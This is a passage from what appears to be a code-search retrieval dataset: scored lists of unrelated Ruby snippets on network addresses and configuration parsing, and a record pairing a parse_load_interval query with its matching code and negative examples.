addresses = network_interfaces.flat_map do |nic|\n if nic[:access_configs].respond_to? :each\n nic[:access_configs].select { |config| config[:name] == \"External NAT\" }\n .map { |config| config[:nat_ip] }\n else\n []\n end\n end\n end\n addresses\n end", "def _address_fields \n if(@addr_fields) \n return @addr_fields\n end\n \n _format_map( __dir__ + \"/manual_info/p_addr.fmt\" )\n end", "def get_common_address\n service = EVSS::PCIUAddress::Service.new(user)\n response = service.get_address\n case response.address\n when EVSS::PCIUAddress::DomesticAddress\n prefill_domestic_address(response.address)\n when EVSS::PCIUAddress::InternationalAddress\n prefill_international_address(response.address)\n when EVSS::PCIUAddress::MilitaryAddress\n prefill_military_address(response.address)\n else\n {}\n end\n rescue\n {}\n end", "def addresses\n private_ip_addresses + public_ip_addresses\n end", "def configured_management_ip_information\n if management_ip_static_configured?\n match_data = running_config.match(%r{interface ManagementEthernet \\d+/\\d+.*?\\s+ip address\\s+(\\d+.\\d+.\\d+.\\d+)\\/(\\d+)})\n [match_data[1], match_data[2]]\n end\n end", "def map_addresses(logger,eventid,input_addresses)\n input_addresses.map do |a| \n addressid = logger.addresses(eventid,a)\n begin\n result = Geokit::Geocoders::GoogleGeocoder.geocode(a)\n rescue\n return \"GeoError: Either there is a problem reaching Google maps or the input is invalid #{a}\"\n end\n if ((result.lat).kind_of? Float ) && ((result.lng).kind_of? Float)\n logger.address_coordinates(addressid,[to_radians(result.lat),to_radians(result.lng)])\n [to_radians(result.lat), to_radians(result.lng)]\n else\n return \"Validation Error: #{a} is not a valid address input.\"\n end\n end\n end", "def look_up_addresses\n if postcode.present?\n address_finder = AddressFinderService.new(postcode)\n self.temp_addresses = address_finder.search_by_postcode\n else\n self.temp_addresses = []\n end\n end", "def zabbix_get_backup_ips\n @config[:groups].each do |group, parameter|\n if parameter[:enable]\n ips = @zabbix.get_ips_by_group(parameter[:name])\n @config[:groups][group.to_sym][:ips] = ips\n end\n end\n return @config\n end", "def address\n return @mac_address if defined? @mac_address and @mac_address\n re = %r/[^:\\-](?:[0-9A-F][0-9A-F][:\\-]){5}[0-9A-F][0-9A-F][^:\\-]/io\n cmds = '/sbin/ifconfig', '/bin/ifconfig', 'ifconfig', 'ipconfig /all', 'cat /sys/class/net/*/address'\n\n null = test(?e, '/dev/null') ? '/dev/null' : 'NUL'\n\n output = nil\n cmds.each do |cmd|\n begin\n r, w = IO.pipe\n ::Process.waitpid(spawn(cmd, :out => w))\n w.close\n stdout = r.read\n next unless stdout and stdout.size > 0\n output = stdout and break\n rescue\n # go to next command!\n end\n end\n raise \"all of #{ cmds.join ' ' } failed\" unless output\n\n @mac_address = parse(output)\n end", "def full_address_array\n [name, address1, address2, city_state_zip].compact\n end", "def full_address_array\n [name, address1, address2, city_state_zip].compact\n end", "def ips_from(header)\n # Split the comma-separated list into an array of strings\n ips = @env[header] ? @env[header].strip.split(/[,\\s]+/) : []\n ips.select do |ip|\n begin\n # Only return IPs that are valid according to the IPAddr#new method\n range = IPAddr.new(ip).to_range\n # we want to make sure nobody is sneaking a netmask in\n range.begin == range.end\n rescue ArgumentError\n nil\n end\n end\n end", "def build_addresses(v)\n # only create on address\n if v.kind_of? Hash\n return [Address.new(v)]\n # create multiple addresses\n elsif v.kind_of? Array\n # todo: multiple addresses\n end\n end", "def excluded_addresses\n @excluded_scan_targets[:addresses]\n end", "def vpc_addresses\n @vpc_addresses ||= Hash[id_vpcs.map do |vpc_id, _|\n interface_ids = vpc_network_interfaces[vpc_id].map { |interface| interface.network_interface_id }\n [vpc_id, addresses.select { |addr| interface_ids.include? addr.network_interface_id }]\n end]\n end", "def create_address_objects\n\n # Initialize vars\n a_addresses = Array.new\n a_prefix_lists = Array.new\n config = String.new\n filterused = nil\n\n\n # Combining ipv4 and ipv6 filters to a single hash to process both simultaneously\n filters = $h_filters.merge($h_filters6)\n\n filters.each_key do |filtername|\n\n # check_if_filter_used returns 1 if this filter is used by an interface 0 if not\n filterused = check_if_filter_used(filtername)\n\n unless filterused\n p \"create_address_objects: filter is not used by an interface. skipping filtername: #{filtername}\"\\\n if $opts[:debug]\n next\n end\n\n filters[filtername].each_key do |termname|\n filters[filtername][termname][:source].each do |sourcename, sourcetype|\n if sourcetype == :'source-address' || sourcetype == :'destination-address'\n\n # Adding all to new hash in order to remove duplicates\n a_addresses << sourcename\n end\n\n # For rules reference prefix-lists need to find the prefix list and iterate through all of the\n # defined addressses, creating an address object for each\n if sourcetype == :'source-prefix-list' ||\\\n sourcetype == :'destination-prefix-list' ||\\\n sourcetype == :'prefix-list'\n a_prefix_lists << sourcename\n a_prefix_lists.uniq.each do |prefixlist|\n if $h_prefix_lists.has_key?(prefixlist)\n $h_prefix_lists[prefixlist].each do |prefixadds|\n a_addresses << prefixadds\n end\n else\n p \"create_address_objects: Referenced prefix #{sourcename} could not be found.\\\\\n Filter: #{filtername}, term: #{termname}\"\n end\n end\n end\n end\n end\n end\n\n # create a fg config entry for each uniq address identified\n config += \"#### Address Objects ####\\n\"\n config += \"config firewall address\\n\"\n a_addresses.uniq.each do |x|\n\n fgaddress = <<-EOS\n edit #{x}\n set type subnet\n set subnet #{x}\n next\n EOS\n\n # Add each output from Herdoc above to config var (will pass this back to main)\n config += fgaddress\n end\n\n config += \"end\\n\"\n config += \"#### Addresses Groups###\\n\"\n config += \"config firewall addrgroup\\n\"\n\n $h_prefix_lists.each do |prefixlist, prefixadds|\n\n # Convert array to string usable in addrgroup config\n adds = String.new\n prefixadds.each {|x| adds += \"#{x.to_s} \"}\n\n fggroups = <<-EOS\n edit #{prefixlist}\n set member #{adds}\n next\n EOS\n\n config += fggroups\n end\n\n # Return this pieces of FG config to main for additional methods to add to it\n config += \"end\\n\\n\"\n\nend", "def private_addresses\n details['addresses']['private'].map { |i| i[\"addr\"] }\n end", "def split_multi_remotehost_config_blocks(config_block)\n split_config = []\n config_block['remoteHost'].each do |single_remote_host|\n # Clone the block containing the multiple remote hosts\n config_block_for_single_remote_host = config_block.clone\n # And replace them with a single remote host\n config_block_for_single_remote_host['remoteHost'] = single_remote_host\n split_config.push(config_block_for_single_remote_host)\n end\n # Return split config blocks that each have a single remote host\n split_config\nend", "def addresses\n @addresses\n end", "def init_config_items( extra_answers={} )\n answers = {}\n things = {\n 'NetworkInterface' => 'br1',\n 'DHCP' => 'static',\n 'Hostname' => 'scli.tasty.bacon',\n 'IPAddress' => '10.0.71.50',\n 'Netmask' => '255.255.255.0',\n 'Gateway' => '10.0.71.1',\n 'DNSServers' => ['10.0.71.7', '8.8.8.8'],\n 'DNSSearch' => 'tasty.bacon',\n }\n things.each do |name,value|\n item = Simp::Cli::Config::Item.const_get(name).new\n if extra_answers.keys.include? item.key\n item.value = extra_answers.fetch( item.key )\n else\n item.value = value\n end\n answers[ item.key ] = item\n end\n answers\n end", "def reserved_addresses\n IPSet.new(list_addresses.map{|a| a.address.to_host })\n end", "def parse_address_verification_response(xml)\n i = 0\n list_of_verified_addresses = []\n (Hpricot.parse(xml)/:address).each do |address|\n i+=1\n h = {}\n # Check if there was an error in an address element\n if address.search(\"error\") != []\n return \"Address number #{i} has the error '#{address.search(\"description\").inner_html}' please fix before continuing\"\n end\n if address.search(\"ReturnText\") != []\n h[:verified] = false\n else\n h[:verified] = true\n end\n address.children.each { |elem| h[elem.name.to_sym] = elem.inner_text unless elem.inner_text.blank? }\n list_of_verified_addresses << h\n end\n #Check if there was an error in the basic XML formating\n if list_of_verified_addresses == []\n error = Hpricot.parse(xml)/:error\n return error.search(\"description\").inner_html\n end\n return list_of_verified_addresses\n end", "def ips_for(name)\n resolvers.each do |r|\n ips = r.getaddresses(name)\n\n return ips unless ips.nil? || ips.empty?\n end\n\n []\n end", "def parse(parseme)\n\t\treturn nil if not parseme\n\t\tranges = []\n\t\tparseme.split(', ').map{ |a| a.split(' ') }.flatten.each { |arg|\n\t\t\tif arg.include?(\"/\")\n\t\t\t\t# Then it's CIDR notation and needs special case\n\t\t\t\treturn false if arg =~ /[,-]/ # Improper CIDR notation (can't mix with 1,3 or 1-3 style IP ranges)\n\t\t\t\treturn false if arg.scan(\"/\").size > 1 # ..but there are too many slashes\n\t\t\t\tip_part,mask_part = arg.split(\"/\")\n\t\t\t\treturn false if ip_part.nil? or ip_part.empty? or mask_part.nil? or mask_part.empty?\n\t\t\t\treturn false if mask_part !~ /^[0-9]{1,2}$/ # Illegal mask -- numerals only\n\t\t\t\treturn false if mask_part.to_i > 32 # This too -- between 0 and 32.\n\t\t\t\tbegin\n\t\t\t\t\tRex::Socket.addr_atoi(ip_part) # This allows for \"www.metasploit.com/24\" which is fun.\n\t\t\t\trescue Resolv::ResolvError\n\t\t\t\t\treturn false # Can't resolve the ip_part, so bail.\n\t\t\t\tend\n\n\t\t\t\texpanded = expand_cidr(arg)\n\t\t\t\tif expanded\n\t\t\t\t\tranges += expanded\n\t\t\t\telse\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\telsif arg.include?(\":\")\n\t\t\t\t# Then it's IPv6\n\t\t\t\t# Can't really do much with IPv6 right now, just return it and\n\t\t\t\t# hope for the best\n\t\t\t\taddr = Rex::Socket.addr_atoi(arg)\n\t\t\t\tranges.push [addr, addr, true]\n\t\t\telsif arg =~ /[^-0-9,.*]/\n\t\t\t\t# Then it's a domain name and we should send it on to addr_atoi\n\t\t\t\t# unmolested to force a DNS lookup.\n\t\t\t\taddr = Rex::Socket.addr_atoi(arg)\n\t\t\t\tranges.push [addr, addr]\n\t\t\telsif arg =~ /^([0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+)-([0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+)$/\n\t\t\t\t# Then it's in the format of 1.2.3.4-5.6.7.8\n\t\t\t\t# Note, this will /not/ deal with DNS names, or the fancy/obscure 10...1-10...2\n\t\t\t\tbegin \n\t\t\t\t\taddrs = [Rex::Socket.addr_atoi($1), Rex::Socket.addr_atoi($2)]\n\t\t\t\t\treturn false if addrs[0] > addrs[1] # The end is greater than the beginning.\n\t\t\t\t\tranges.push [addrs[0], addrs[1]]\n\t\t\t\trescue Resolv::ResolvError # Something's broken, forget it.\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\telse\n\t\t\t\texpanded = expand_nmap(arg)\n\t\t\t\tif expanded\n\t\t\t\t\tranges += expanded\n\t\t\t\telse\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\t\t}\n\n\t\treturn ranges\n\tend", "def assign_addresses\n Optopus::Address.where(:network_id => nil).where('ip_address << ?', self.address.to_cidr).each do |address|\n self.addresses << address\n end\n\n # if we changed our cidr address, go through and update\n # addresses that are no longer part of this network\n if !self.new_record? && self.address_changed?\n self.addresses.where('NOT ip_address << ?', self.address.to_cidr).update_all('network_id = NULL')\n end\n end", "def ipaddress\n config[\"ipaddress\"]\n end", "def populate_address_list_from_params\n @address_list = []\n params.each do |key, value|\n next unless key.start_with? 'address_list_'\n\n address = Address.new.from_json(value)\n @address_list << address\n end\n end", "def process_items(items)\n if items\n\n # We begin here with no IPs set. This is used to determin if we are\n # setting the primary address, or simply providing an alias to an\n # already existing interface.\n ipset = false\n ip6set = false\n\n # Process each one of the line items\n items.each do |i|\n # Return the dynamic address assignemnt if found\n if i =~ %r{^(dhcp|inet6 autoconf)$}\n yield i\n # yield up/down if found\n elsif i =~ %r{^(up|down)$}\n yield i\n # Yield the command string in full\n elsif i =~ %r{^!}\n yield i\n else\n begin\n ip = IPAddress i\n if ip.ipv6?\n line = ['inet6']\n line << 'alias' if ip6set\n line << ip.compressed\n line << ip.prefix\n ip6set = true\n elsif ip.ipv4?\n line = ['inet']\n line << 'alias' if ipset\n line << ip.address\n line << ip.netmask\n line << 'NONE'\n ipset = true\n end\n if line\n yield line.join(' ')\n else\n puts line\n puts 'line not found'\n end\n rescue ArgumentError\n # In the case we have received something we don't know how to\n # handle, and is not an IP address as caught here in the else, then\n # we just send it back unmodified.\n yield i\n end\n end\n end\n end\n end", "def find_private_ip\n ip_addresses = interface_addresses\n ip_addresses.each do |ip|\n if ip.start_with?(\"192\") || ip.start_with?(\"10\")\n return ip\n end\n end\n return nil\n end", "def beanstalk_addresses\n uri = self.url.is_a?(Array) ? self.url.first : self.url\n beanstalk_host_and_port(uri)\n end", "def extract_ip(addrinfo)\n addrinfo[2]\n end", "def reload_ip_addresses_for(institution)\n institution_ip_addresses = []\n Institutions.loadfiles.each do |loadfile|\n # Loop through institutions in the yaml\n YAML.load(ERB.new(File.read(loadfile)).result).each_pair do |code, elements|\n code = code.to_sym\n if institution.code == code\n ip_addresses = elements[:ip_addresses] || elements[\"ip_addresses\"]\n if ip_addresses\n institution_ip_addresses << ip_addresses\n end\n end\n end\n end\n institution_ip_addresses.flatten.uniq\n end", "def all_ips_for(vm)\n vm.guest.net.map(&:ipAddress).flatten\n end", "def build_addresses(address, mask)\n addresses = []\n mask.chars.each_with_index do |bit,idx|\n if bit == \"X\"\n addresses.concat build_addresses(address + \"0\", mask[idx+1..-1])\n addresses.concat build_addresses(address + \"1\", mask[idx+1..-1])\n return addresses\n else\n address = address + bit\n end\n end\n addresses << address\n return addresses\nend", "def resolve_addresses packet # :nodoc:\n source = packet.source @resolver\n source = \"\\\"druby://#{source.sub(/\\.(\\d+)$/, ':\\1')}\\\"\"\n\n destination = packet.destination @resolver\n destination = \"\\\"druby://#{destination.sub(/\\.(\\d+)$/, ':\\1')}\\\"\"\n\n return source, destination\n end", "def email_addresses_with_details(only_validated = false)\n\t\t# {'email@address'=>{:name=>'member name'},...}\n\t\t{}\n\tend", "def addresses\n # prevent original array from being changed\n @addresses.dup\n end", "def ip_addresses( hostname )\n @@resolve ||= Resolv.new\n @@ip_addresses_cached ||= {}\n\n @@ip_addresses_cached[hostname.to_s] ||= @@resolve.getaddresses( hostname )\n end", "def process start_ip, end_ip, location_id\n start_ip = start_ip.to_i\n end_ip = end_ip.to_i\n start_ip_16 = start_ip >> 16\n end_ip_16 = end_ip >> 16\n (start_ip_16 .. end_ip_16).each do |sub_block|\n sub_start_ip = [start_ip, (sub_block << 16) ].max\n sub_end_ip = [end_ip, ((sub_block+1) << 16) - 1 ].min\n yield [\n sub_start_ip,\n sub_end_ip,\n sub_block,\n location_id,\n packed_ip_to_dotted_ip(sub_start_ip),\n packed_ip_to_dotted_ip(sub_end_ip)\n ]\n end\n end", "def fetch\n @addresses = from_getifaddrs\n return @addresses if @addresses\n\n success = false\n COMMANDS.each do |cmd|\n stdout = `#{cmd}` rescue nil\n next unless stdout && stdout.length > 0\n @addresses = parse(stdout)\n success = true\n break # break as soon as we successfully parse a command output\n end\n\n unless success\n raise Exceptions::NoneOfCommandsSuccessful, COMMANDS\n end\n\n @addresses\n end", "def read_static_machine_ips\n ips = []\n @machine.config.vm.networks.each do |type, options|\n options = scoped_hash_override(options, :virtualbox)\n\n if type == :private_network && options[:type] != :dhcp && options[:ip].is_a?(String)\n ips << options[:ip]\n end\n end\n\n if ips.empty?\n return nil\n end\n\n ips\n end", "def recommended_value\n begin\n address = @config_items.fetch('ipaddress').value\n nm = @config_items.fetch('netmask').value\n rescue IndexError => e\n say_yellow(\"WARNING: #{e}\") if !@silent\n return nil\n end\n\n # snarfed from:\n # http://stackoverflow.com/questions/1825928/netmask-to-cidr-in-ruby\n subnet = IPAddr.new( nm ).to_i.to_s( 2 ).count('1')\n\n mucky_cidr = \"#{address}/#{subnet}\"\n cidr = \"#{ IPAddr.new( mucky_cidr ).to_range.first.to_s}/#{subnet}\"\n\n [ cidr ]\n end", "def ip_address_record(env)\n data_type = env[:machine].provider_config.private_only ? \"primaryBackendNetworkComponent\" : \"primaryNetworkComponent\"\n data_type = \"primaryBackendNetworkComponent\" if env[:machine].provider_config.force_private_ip\n mask = \"#{data_type}.primaryIpAddressRecord.id,#{data_type}.primaryIpAddressRecord.ipAddress\"\n record = sl_warden { env[:sl_machine].object_mask(\"mask[#{mask}]\").getObject }\n return {\n :address => record[data_type][\"primaryIpAddressRecord\"][\"ipAddress\"],\n :id => record[data_type][\"primaryIpAddressRecord\"][\"id\"]\n }\n end", "def from_addresses=(value)\n @from_addresses = value\n end", "def get_ip_addresses\n sa = MainSettings.instance\n begin\n s = UDPSocket.new(Socket::AF_INET)\n s.connect(\"8.8.8.8\", 1)\n if (s.addr[0] == \"AF_INET\")\n @ipv4 = IPAddr.new(s.addr.last)\n end\n rescue SocketError => e\n $stderr.puts \"Unable to determine IPv4 address: #{e}\"\n rescue Errno::ENETUNREACH => e\n $stderr.puts \"Unable to determine IPv4 address: #{e}\"\n end\n puts \"Finished acquiring IPv4 address\" if $verbose\n\n# begin\n# s = UDPSocket.new(Socket::AF_INET6)\n# s.connect(\"2001:4860:b006::2\", 1)\n# if (s.addr[0] == \"AF_INET6\")\n# @ipv6 = IPAddr.new(s.addr.last)\n# end\n# rescue SocketError => e\n# $stderr.puts \"Unable to determine IPv6 address: #{e}\"\n# rescue Errno::ENETUNREACH => e\n# $stderr.puts \"Unable to determine IPv6 address: #{e}\"\n# end\n# puts \"Finished acquiring IPv6 address\" if $verbose\n end" ]
[ "0.62409234", "0.56207496", "0.5529982", "0.53586376", "0.527351", "0.51909554", "0.51508564", "0.5115976", "0.5043788", "0.50345576", "0.503213", "0.50127953", "0.49802342", "0.49585512", "0.49453977", "0.4929978", "0.4883116", "0.4813924", "0.48074758", "0.4805455", "0.47778317", "0.47510612", "0.47466412", "0.4741198", "0.47319826", "0.46956202", "0.4692706", "0.46920595", "0.46896294", "0.46532845", "0.46431926", "0.46147588", "0.46116227", "0.4609865", "0.4603094", "0.45967484", "0.45900655", "0.456443", "0.45575753", "0.45491195", "0.4547312", "0.4545174", "0.45402214", "0.45309705", "0.4529448", "0.4527529", "0.45235917", "0.4519838", "0.45174307", "0.45131114", "0.45090067", "0.45076612", "0.45064425", "0.4500376", "0.44808856", "0.447915", "0.44786155", "0.44706574", "0.44558492", "0.44549447", "0.44490033", "0.4448198", "0.44404018", "0.44375128", "0.44299802", "0.44299802", "0.44287267", "0.44163552", "0.4415526", "0.4415451", "0.4412044", "0.4402265", "0.4400631", "0.43822137", "0.43742025", "0.4369419", "0.43685585", "0.43678862", "0.43617627", "0.43599108", "0.43592632", "0.43525764", "0.43519524", "0.43501347", "0.4343938", "0.43421516", "0.4339752", "0.43387815", "0.43374616", "0.43340853", "0.43211424", "0.43137446", "0.43027422", "0.42977196", "0.42948344", "0.4293286", "0.42879894", "0.42870688", "0.42798477", "0.427238" ]
0.8021262
0
parse_load_interval scans the provided configuration block and parse the loadinterval value. If the interface loadinterval value is not configured, then this method will return the value of DEFAULT_LOAD_INTERVAL. The hash returned is intended to be merged into the interface resource hash.
def parse_load_interval(config) mdata = /load-interval (\w+)$/.match(config) { load_interval: mdata.nil? ? DEFAULT_LOAD_INTERVAL : mdata[1] } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_load_interval(name, opts = {})\n commands = command_builder('load-interval', opts)\n configure_interface(name, commands)\n end", "def set_load_interval(name, opts = {})\n cmds = command_builder('load-interval', opts)\n configure_interface(name, cmds)\n end", "def parse_intervals\n intervals = Array.new\n headers_index = 16\n data_index = headers_index + 1\n headers = @data[headers_index].map!(&:underscore)\n current_interval = nil\n @data[data_index,@data.size].map.with_index do |r,i|\n if r.empty?\n @_interval_sample_index = data_index + i + 1\n break\n else\n zipped = (headers).zip(@data[data_index + i])\n i = WFWorkoutInterval.new\n Hash[zipped].map { |k,v|\n if k == \"interval\"\n if current_interval == v\n i.subinterval = true\n else\n i.subinterval = false\n end\n current_interval = v\n end\n i.instance_variable_set(\"@#{k}\",v)\n }\n intervals.push(i)\n end\n end\n return intervals\n end", "def interval(key, default=0.0)\n\t\tstr = self.fetch(key.downcase, nil)\n\t\tif not str.nil?\n\t\t\tret = 0.0;\n\t\t\tstr.split(/:/).each { |str2|\n\t\t\t\tret += (ret * 60.0) + str2.to_f\n\t\t\t}\n\t\t\treturn ret\n\t\tend\n\t\treturn default\n\tend", "def get_interval(interval)\n case interval\n when :custom\n return {}\n when :hourly\n @start = (@run_time - 1.hour).beginning_of_hour\n @end = (@run_time - 1.hour).end_of_hour\n return {@field => @start..@end}\n when :daily\n @start = @run_time.yesterday.beginning_of_day\n @end = @run_time.yesterday.end_of_day\n return {@field => @start..@end}\n when :weekly\n @start = @run_time.yesterday.beginning_of_week\n @end = @run_time.yesterday.end_of_week\n return {@field => @start..@end}\n when :monthly\n @start = @run_time.yesterday.beginning_of_month\n @end = @run_time.yesterday.end_of_month\n return {@field => @start..@end}\n when :yearly\n @start = @run_time.yesterday.beginning_of_year\n @end = @run_time.yesterday.end_of_year\n return {@field => @start..@end}\n end\n end", "def interval\n if @interval\n @interval\n elsif !self[Incident.interval_predicate].empty?\n @interval = Interval.find(self[Incident.interval_predicate].first)\n else\n nil\n end\n end", "def parse_log\n # We save data for the current interval, by request type,\n # as well as all requests ('ALL')\n # Data is recorded for each interval, as well as for the\n # entire period of 'peak' load\n\n fl = open(@file_path)\n batch = {}\n interval_start_ts = nil\n interval_end_ts = nil\n until fl.eof?\n ln = fl.readline\n metrics = extract_line_metrics(ln)\n next unless metrics\n this_ts = metrics[0]\n label = metrics[1]\n\n # init interval_end_ts on very first line that we see but\n # align it in epoch time, to make alignment with\n # data from other load generator nodes easy\n unless interval_end_ts\n interval_start_ts = this_ts - this_ts.modulo(@interval_s)\n interval_end_ts = interval_start_ts + @interval_s\n end\n\n # initialize results object\n unless batch.key?(label)\n # init the batch for this time window\n batch[label] = get_batch_hash(interval_start_ts, interval_end_ts)\n unless batch.key?('ALL')\n # init the batch for all requests in this window\n batch['ALL'] = get_batch_hash(interval_start_ts, interval_end_ts)\n end\n end\n # record this request to @intervals_data\n set_metrics(metrics, batch)\n\n if this_ts >= interval_end_ts || fl.eof\n # intervals are keyed by the epoch time at the start of the interval\n @intervals_data[interval_start_ts] = batch\n # set the next interval window, init the next batch of data\n interval_start_ts = interval_end_ts\n interval_end_ts += @interval_s\n batch = {}\n end\n end\n peak_data = create_reports\n return @intervals_data, peak_data\n end", "def ipv4_interval\n config_get('bfd_global', 'ipv4_interval', @get_args)\n end", "def lb_get\n str = config_get('itd_service', 'load_balance', @get_args)\n return nil if str.nil?\n if str.include?('method') && str.include?('range')\n regexp = Regexp.new('load-balance *(?<bundle_select>method \\S+)?'\\\n ' *(?<bundle_hash>\\S+)?'\\\n ' *(?<proto>\\S+)?'\\\n ' *(?<start_port>range \\d+)?'\\\n ' *(?<end_port>\\d+)?'\\\n ' *(?<buckets>buckets \\d+)?'\\\n ' *(?<mask>mask-position \\d+)?')\n elsif str.include?('method')\n regexp = Regexp.new('load-balance *(?<bundle_select>method \\S+)?'\\\n ' *(?<bundle_hash>\\S+)?'\\\n ' *(?<buckets>buckets \\d+)?'\\\n ' *(?<mask>mask-position \\d+)?') unless str.include?('range')\n else\n regexp = Regexp.new('load-balance *(?<buckets>buckets \\d+)?'\\\n ' *(?<mask>mask-position \\d+)?')\n end\n regexp.match(str)\n end", "def interval\n config_get('bfd_global', 'interval', @get_args)\n end", "def opt_l_interval(data)\n if data.first.has_key?(:interval_file)\n i = data.first[:interval_file]\n if (nil != i && \"\" != i && \" \" != i)\n return \"-L #{i} -ip 50\"\n end\n end\n return \"\"\nend", "def reload_interval=(interval)\n raise ArgumentError, 'Argument must be Integer.' unless interval.kind_of?(Integer)\n self.enable_reload = false if interval == 0 # Sett\n self.reload_interval = interval\n end", "def interval_param\n \"interval:auto\"\n end", "def load_ini\n last_file = nil\n last_speed = nil\n last_position = nil\n last_speeds = nil\n if File.exists? @ini_file\n File.open(@ini_file, \"r\") do |f|\n f.each do |line|\n last_file = line.sub(\"last_file=\", \"\").strip if line =~ /^last_file=/\n last_speed = line.sub(\"last_speed=\", \"\").strip.to_f if line =~ /^last_speed=/\n last_position = line.sub(\"last_position=\", \"\").strip.to_i if line =~ /^last_position=/\n if line =~ /^speeds=/\n last_speeds = line.sub(\"speeds=\", \"\").strip.split(\",\")\n last_speeds.map!{|s| s.to_f}\n end\n if line =~ /^partial_repeat=/\n @partial_repeat = line.sub(\"partial_repeat=\", \"\").strip\n if @partial_repeat == 'true'\n @partial_repeat = true\n else\n @partial_repeat = false\n end\n end\n @partial_duration = line.sub(\"partial_duration=\", \"\").strip.to_i if line =~ /^partial_duration=/\n end\n end\n end\n return last_file, last_speed, last_position, last_speeds\nend", "def interval\n @attributes[:interval]\n end", "def convert_to_sec\n duration = @@fetch_interval.split(' ')\n\n if duration.length != 2\n raise \"Invalid @@fetch_interval(=#{@@fetch_interval}) in config.rb.\"\n end\n\n case duration[1]\n when /seconds?/\n multiply = 1\n when /minutes?/\n multiply = 60\n when /hours?/\n multiply = 3600\n else\n raise \"Invalid @@fetch_interval(=#{@@fetch_interval}) in config.rb.\"\n end\n\n @sec_interval = duration[0].to_i * multiply\n end", "def dead_interval=(interval)\n config_set('interface_ospf', 'dead_interval',\n @interface.name, '', interval.to_i)\n end", "def parse_config\n raw_config.split(\"\\n\").each do |line|\n match = CONFIG_MATCH_EXPRESSION.match(line)\n\n next unless match\n\n key, value = match[1], match[2]\n\n if key.include?('.')\n metric_name, metric_parameter = key.split('.')\n\n metrics[metric_name] ||= {}\n metrics[metric_name][metric_parameter] = value\n else\n parameters[key] = value\n end\n end\n end", "def parse_base\n hostname = data['host'].gsub('DOT','.').gsub('DASH', '-')\n parts = hostname.split('.')\n id = parts.last\n slot = parts[-2]\n cloud = parts.first(parts.size-2).join('.')\n measure_period = (data['interval'] || 10).to_i\n {id: id, slot: slot, cloud: cloud, measure_period: measure_period, measure_time: data['time']}\n end", "def monitoring_interval\n data[:monitoring_interval]\n end", "def monitoring_interval\n data[:monitoring_interval]\n end", "def poll_interval\n interval = (\n options[:poll_interval] ||\n rails_config[:poll_interval] ||\n env['GOOD_JOB_POLL_INTERVAL']\n )\n\n if interval\n interval.to_i\n elsif Rails.env.development? && execution_mode.in?([:async, :async_all, :async_server])\n DEFAULT_DEVELOPMENT_ASYNC_POLL_INTERVAL\n else\n DEFAULT_POLL_INTERVAL\n end\n end", "def hello_interval=(interval)\n config_set('interface_ospf', 'hello_interval',\n @interface.name, '', interval.to_i)\n end", "def poll_interval\n interval_level = poll_attempts[:total]/attempts_before_next_interval\n poll_intervals[interval_level] || poll_intervals.last\n end", "def execution_interval\n DEFAULT_EXECUTION_INTERVAL\n end", "def ipv6_interval\n config_get('bfd_global', 'ipv6_interval', @get_args)\n end", "def log_load_time_params\n params.fetch(:log_load_time, {})\n end", "def interval=(val)\n attribute_set(:interval,val.kind_of?(Numeric) ? val : INTERVALS_MAP[val.to_s])\n end", "def load_config\n # Nothing in base class. This should be used to load the configuration from\n # disk if saved to a file.\n configuration || {}\n end", "def fetchInterval(symbol, interval, days=nil, startTime=nil, endTime=nil, eos=true, &block)\n brokerFetchInterval(symbol, interval, days, startTime, endTime, eos, &block)\n end", "def parse_ip_configuration(ip_configuration)\n config = {\n 'name' => ip_configuration.name,\n 'primary' => ip_configuration.primary,\n 'private_ipaddress' => ip_configuration.private_ipaddress,\n 'public_ipaddress' => {\n 'attached' => !ip_configuration.public_ipaddress.nil?,\n },\n }\n\n # if there is a public IP address attached get its details\n if config['public_ipaddress']['attached']\n\n # Get the name of the resource group and the name of the NIC\n # This is required as the card might be in a different resource group\n public_ip_raw = ip_configuration.public_ipaddress.id.split(%r{/})\n public_ip_resource_group_name = public_ip_raw[4]\n public_ip_name = public_ip_raw.last\n\n # Interrogate Azure for the NIC details\n public_ip = helpers.network_mgmt.client.public_ipaddresses.get(public_ip_resource_group_name, public_ip_name)\n\n # update the config with the information about the public IP if public dns settings are available\n if !public_ip.dns_settings.nil?\n config['public_ipaddress']['domain_name_label'] = public_ip.dns_settings.domain_name_label\n config['public_ipaddress']['dns_fqdn'] = public_ip.dns_settings.fqdn\n else\n config['public_ipaddress']['domain_name_label'] = nil\n config['public_ipaddress']['dns_fqdn'] = nil\n end\n end\n\n # return object\n config\n end", "def load_config\n if @type == :upload\n config_file = \"ul_config.xml\"\n else\n config_file = \"dl_config.xml\"\n end\n doc = Nokogiri::XML(open(\"config/#{config_file}\"))\n doc.search(@type.to_s).each do |config|\n @config_map[:ip] = get_content config, \"ip\"\n @config_map[:port] = get_content config, \"port\"\n @config_map[:user] = get_content config, \"user\"\n @config_map[:password] = get_content config, \"password\"\n @config_map[:remotedir] = get_content config, \"remotedir\"\n @config_map[:localdir] = get_content config, \"localdir\"\n\n @localfile = get_content config, \"localfile\"\n @remotefile = get_content config, \"remotefile\"\n\n @thread_num = get_content(config, \"thread_num\").to_i\n @sleep = get_content(config, \"sleep\").to_i\n @test = get_content(config, \"test\")\n end\n\n if @type == :upload\n @thread_num = @thread_num >= 10 ? @thread_num : 10\n end\n end", "def prepare_interval(period, &block); end", "def load_time_ranges\n @time_ranges = ActiveSupport::HashWithIndifferentAccess.new\n time_ranges = @config['time']\n time_ranges.each do |t,r|\n time_range = ActiveSupport::HashWithIndifferentAccess.new\n src_ranges ||= r\n src_ranges.map { |k,v| time_range[k.to_sym] = rangify_time_boundaries(v) }\n @time_ranges[t.to_sym] = time_range\n end\n\n end", "def load_per_cluster(cfg)\n cluster = cfg['cluster']\n query = format(\n 'sum(node_load5{job=\"%s\"})/count(node_cpu{mode=\"system\",job=\"%s\"})',\n cluster,\n cluster\n )\n\n result = @client.query(query).first\n source = cfg['source']\n value = result['value'][1].to_f.round(2)\n log.debug(\n \"[load_per_cluster] value: '#{value}', source: '#{source}'\"\n )\n\n [{ 'source' => source, 'value' => value }]\n end", "def parse(eval_ui = false)\n begin\n defaults = @config['defaults']\n\n ################################################################\n # Cluster\n ################################################################\n\n if @config['cluster'].nil?\n @config['cluster'] = { 'name' => 